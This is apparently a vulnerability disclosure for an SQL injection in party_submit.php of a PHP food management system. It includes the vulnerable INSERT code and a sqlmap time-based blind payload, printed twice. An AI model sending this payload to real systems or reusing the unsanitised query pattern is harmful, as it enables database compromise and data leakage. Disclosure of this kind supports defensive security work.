

SQL injection vulnerability exists in party_name parameter of party_submit.php file of Food Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
$party_name=$_POST['party_name'];
$contact=$_POST['contact'];
$tin=$_POST['tin'];
$pan=$_POST['pan'];
$party_address=$_POST['party_address'];
$status=1;
//date_created=date("Y-m-d H:i:s");
//date_modified=date("Y-m-d H:i:s");

//itemStatus=$_POST['item_status'];
//die("INSERT INTO stock_entry (entry_date,item_name,item_type,stock_in,stock_used,stock_damaged,
VALUES ('$cur_date','$itemName', '$itemType', '$quantity','0','0','1')");
$qry=mysqli_query($con,"INSERT INTO party_details (party_name,contact,tin,pan,
party_address,status) VALUES ('$party_name', '$contact','$tin', '$pan','$party_address','$status')");
```

sqlmap identified the following injection point(s) with a total of 224 HTTP(s) requests:

```
Parameter: MULTIPART party_name ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: -----YWJkMTQzNDcw
Content-Disposition: form-data; name="party_name"

pHqghUme' RLIKE SLEEP(5) AND 'Etfe'='Etfe
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="contact"

1
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="tin"

1
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="pan"

1
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="party_address"

0
-----YWJkMTQzNDcw
Content-Disposition: form-data; name="entry_date"

01/01/1967
-----YWJkMTQzNDcw--
```

“

Parameter: MULTIPART party_name ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind

Payload: -----YWJkMTQzNDcw

Content-Disposition: form-data; name="party_name"

pHqghUme' RLIKE SLEEP(5) AND 'Etfe'='Etfe

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="contact"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="tin"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="pan"

1

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="party_address"

0

-----YWJkMTQzNDcw

Content-Disposition: form-data; name="entry_date"

01/01/1967

-----YWJkMTQzNDcw--

"

Source Download:

<https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code>